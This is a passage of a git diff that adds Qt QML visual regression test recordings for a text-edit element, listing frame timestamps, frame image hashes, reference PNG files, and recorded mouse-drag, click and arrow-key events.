+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5296
+ hash: "1db1d100eb1f97a7c85ab8df3e558188"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 86; y: 18
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 84; y: 18
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5312
+ hash: "5604b2f85c3a90f8b29da3fec2f6c509"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 81; y: 18
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 79; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5328
+ hash: "fb57c6295d512821945754020ea6a3ce"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 77; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 75; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5344
+ hash: "14dfd5b78901c9f63e4f5d0889f77805"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 73; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 72; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5360
+ hash: "cc105198e78269be1240785b791c8612"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 67; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5376
+ hash: "1ef97830b4f1be66a4f443ee4573547b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 66; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 64; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5392
+ hash: "0ef86edc381e75c39ba067404817edb8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 63; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 60; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5408
+ hash: "6a7605f59eb364fbc166aeea7b54695a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 59; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 57; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5424
+ hash: "e86bb3698ad8b46e70237088ea056ab0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 55; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 53; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5440
+ hash: "56db36cde05d74d6bf8eec0b21515b20"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 51; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 49; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5456
+ hash: "05adc602e827635ca43c0cff2b5b857d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 47; y: 18
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 45; y: 18
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5472
+ hash: "cbdcdf9b7e640a79e2269247bb4d6cc2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: 18
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 41; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5488
+ hash: "bc014e9feb5e69c4042385a6753d1884"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 38; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 37; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5504
+ hash: "544e9ddbedae500955e6cec79eae709c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 35; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 33; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5520
+ hash: "ec17a9dba3846c1919b67eaf3d234471"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 30; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 28; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5536
+ hash: "8ab538f8baa170798c93e6eb4d5441f8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 27; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 26; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5552
+ hash: "1b1636fecff90e602b87dbf84a986d2a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 25; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 24; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5568
+ hash: "27a84ee3fb8b306e22e50ba753828b7c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 23; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5584
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 5600
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 23; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5616
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 5632
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 5648
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 5664
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 5680
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 5696
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 5712
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5728
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5744
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5760
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5776
+ image: "flickableEdit.6.png"
+ }
+ Frame {
+ msec: 5792
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5808
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5824
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5840
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5856
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5872
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5888
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5904
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5920
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5936
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5952
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5968
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 5984
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 6000
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 6016
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 6032
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 6048
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 6064
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 6080
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 6096
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 6112
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 6128
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 6144
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 6160
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 6176
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 6192
+ hash: "46af738f612bfe0fbf4f83eb847dacb7"
+ }
+ Frame {
+ msec: 6208
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 6224
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 6240
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 6256
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 6272
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 6288
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 6304
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 6320
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 6336
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 6352
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 6368
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 6384
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 6400
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 6416
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+ Frame {
+ msec: 6432
+ hash: "ee9cd90fbe594efb411315a97b702a40"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.0.png
new file mode 100644
index 00000000..7d0d0aee
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.1.png
new file mode 100644
index 00000000..7d612bf2
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.qml
new file mode 100644
index 00000000..8c7e3808
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.qml
@@ -0,0 +1,191 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "linkActivated.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 48
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 64
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 80
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 96
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 112
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 128
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 144
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 160
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 176
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 192
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 208
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 224
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 240
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 256
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 21; y: 13
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 272
+ hash: "9482227cbc77e9083218c1452e8644d8"
+ }
+ Frame {
+ msec: 288
+ hash: "9482227cbc77e9083218c1452e8644d8"
+ }
+ Frame {
+ msec: 304
+ hash: "9482227cbc77e9083218c1452e8644d8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 22; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 320
+ hash: "9482227cbc77e9083218c1452e8644d8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 23; y: 10
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 23; y: 10
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 336
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 352
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 368
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 384
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 400
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 416
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 432
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 448
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 464
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 480
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 496
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 512
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 528
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 544
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 560
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 576
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 592
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 608
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.0.png
new file mode 100644
index 00000000..95a835aa
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.1.png
new file mode 100644
index 00000000..409192c6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.2.png
new file mode 100644
index 00000000..cd2f1121
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.3.png
new file mode 100644
index 00000000..7191c1ef
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.qml
new file mode 100644
index 00000000..5926e045
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/qt-669.qml
@@ -0,0 +1,1371 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 32
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 48
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 64
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 80
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 96
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 112
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 128
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 144
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 160
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 176
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 192
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 208
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 224
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 240
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 256
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 272
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 288
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 304
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 320
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 336
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 352
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 368
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 384
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 400
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 416
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 432
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 448
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 464
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 480
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 496
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 512
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 528
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 544
+ hash: "394360c0bff5ee3ad206d2911838d64e"
+ }
+ Frame {
+ msec: 560
+ hash: "394360c0bff5ee3ad206d2911838d64e"
+ }
+ Frame {
+ msec: 576
+ hash: "394360c0bff5ee3ad206d2911838d64e"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 592
+ hash: "394360c0bff5ee3ad206d2911838d64e"
+ }
+ Frame {
+ msec: 608
+ hash: "394360c0bff5ee3ad206d2911838d64e"
+ }
+ Frame {
+ msec: 624
+ hash: "394360c0bff5ee3ad206d2911838d64e"
+ }
+ Frame {
+ msec: 640
+ hash: "394360c0bff5ee3ad206d2911838d64e"
+ }
+ Frame {
+ msec: 656
+ hash: "394360c0bff5ee3ad206d2911838d64e"
+ }
+ Frame {
+ msec: 672
+ hash: "394360c0bff5ee3ad206d2911838d64e"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 688
+ hash: "3c455f51fea0926576077d55d6fbfbb2"
+ }
+ Frame {
+ msec: 704
+ hash: "3c455f51fea0926576077d55d6fbfbb2"
+ }
+ Frame {
+ msec: 720
+ hash: "3c455f51fea0926576077d55d6fbfbb2"
+ }
+ Frame {
+ msec: 736
+ hash: "3c455f51fea0926576077d55d6fbfbb2"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 752
+ hash: "3c455f51fea0926576077d55d6fbfbb2"
+ }
+ Frame {
+ msec: 768
+ hash: "3c455f51fea0926576077d55d6fbfbb2"
+ }
+ Frame {
+ msec: 784
+ hash: "3c455f51fea0926576077d55d6fbfbb2"
+ }
+ Frame {
+ msec: 800
+ hash: "3c455f51fea0926576077d55d6fbfbb2"
+ }
+ Frame {
+ msec: 816
+ hash: "3c455f51fea0926576077d55d6fbfbb2"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 832
+ hash: "c87aaf72137c2b9e8c876879e7215072"
+ }
+ Frame {
+ msec: 848
+ hash: "c87aaf72137c2b9e8c876879e7215072"
+ }
+ Frame {
+ msec: 864
+ hash: "c87aaf72137c2b9e8c876879e7215072"
+ }
+ Frame {
+ msec: 880
+ hash: "c87aaf72137c2b9e8c876879e7215072"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 896
+ hash: "c87aaf72137c2b9e8c876879e7215072"
+ }
+ Frame {
+ msec: 912
+ hash: "c87aaf72137c2b9e8c876879e7215072"
+ }
+ Frame {
+ msec: 928
+ hash: "c87aaf72137c2b9e8c876879e7215072"
+ }
+ Frame {
+ msec: 944
+ hash: "c87aaf72137c2b9e8c876879e7215072"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 960
+ image: "qt-669.0.png"
+ }
+ Frame {
+ msec: 976
+ hash: "2caf044acf7aaf0af6a03e7b8180fa16"
+ }
+ Frame {
+ msec: 992
+ hash: "2caf044acf7aaf0af6a03e7b8180fa16"
+ }
+ Frame {
+ msec: 1008
+ hash: "2caf044acf7aaf0af6a03e7b8180fa16"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1024
+ hash: "2caf044acf7aaf0af6a03e7b8180fa16"
+ }
+ Frame {
+ msec: 1040
+ hash: "2caf044acf7aaf0af6a03e7b8180fa16"
+ }
+ Frame {
+ msec: 1056
+ hash: "2caf044acf7aaf0af6a03e7b8180fa16"
+ }
+ Frame {
+ msec: 1072
+ hash: "2caf044acf7aaf0af6a03e7b8180fa16"
+ }
+ Frame {
+ msec: 1088
+ hash: "2caf044acf7aaf0af6a03e7b8180fa16"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1104
+ hash: "c899e9d181860f682ba7275fa36f82a1"
+ }
+ Frame {
+ msec: 1120
+ hash: "c899e9d181860f682ba7275fa36f82a1"
+ }
+ Frame {
+ msec: 1136
+ hash: "c899e9d181860f682ba7275fa36f82a1"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1152
+ hash: "c899e9d181860f682ba7275fa36f82a1"
+ }
+ Frame {
+ msec: 1168
+ hash: "c899e9d181860f682ba7275fa36f82a1"
+ }
+ Frame {
+ msec: 1184
+ hash: "c899e9d181860f682ba7275fa36f82a1"
+ }
+ Frame {
+ msec: 1200
+ hash: "c899e9d181860f682ba7275fa36f82a1"
+ }
+ Frame {
+ msec: 1216
+ hash: "c899e9d181860f682ba7275fa36f82a1"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1232
+ hash: "1313880b796ae7134f50fa8dafa4a974"
+ }
+ Frame {
+ msec: 1248
+ hash: "1313880b796ae7134f50fa8dafa4a974"
+ }
+ Frame {
+ msec: 1264
+ hash: "1313880b796ae7134f50fa8dafa4a974"
+ }
+ Frame {
+ msec: 1280
+ hash: "1313880b796ae7134f50fa8dafa4a974"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1296
+ hash: "1313880b796ae7134f50fa8dafa4a974"
+ }
+ Frame {
+ msec: 1312
+ hash: "1313880b796ae7134f50fa8dafa4a974"
+ }
+ Frame {
+ msec: 1328
+ hash: "1313880b796ae7134f50fa8dafa4a974"
+ }
+ Frame {
+ msec: 1344
+ hash: "1313880b796ae7134f50fa8dafa4a974"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1360
+ hash: "d85314199885fdf9cc8e666c3fb723fb"
+ }
+ Frame {
+ msec: 1376
+ hash: "d85314199885fdf9cc8e666c3fb723fb"
+ }
+ Frame {
+ msec: 1392
+ hash: "d85314199885fdf9cc8e666c3fb723fb"
+ }
+ Frame {
+ msec: 1408
+ hash: "d85314199885fdf9cc8e666c3fb723fb"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1424
+ hash: "d85314199885fdf9cc8e666c3fb723fb"
+ }
+ Frame {
+ msec: 1440
+ hash: "d85314199885fdf9cc8e666c3fb723fb"
+ }
+ Frame {
+ msec: 1456
+ hash: "d85314199885fdf9cc8e666c3fb723fb"
+ }
+ Frame {
+ msec: 1472
+ hash: "d85314199885fdf9cc8e666c3fb723fb"
+ }
+ Frame {
+ msec: 1488
+ hash: "d85314199885fdf9cc8e666c3fb723fb"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1504
+ hash: "a3b98f215b2329e29d17b61eba0f9e45"
+ }
+ Frame {
+ msec: 1520
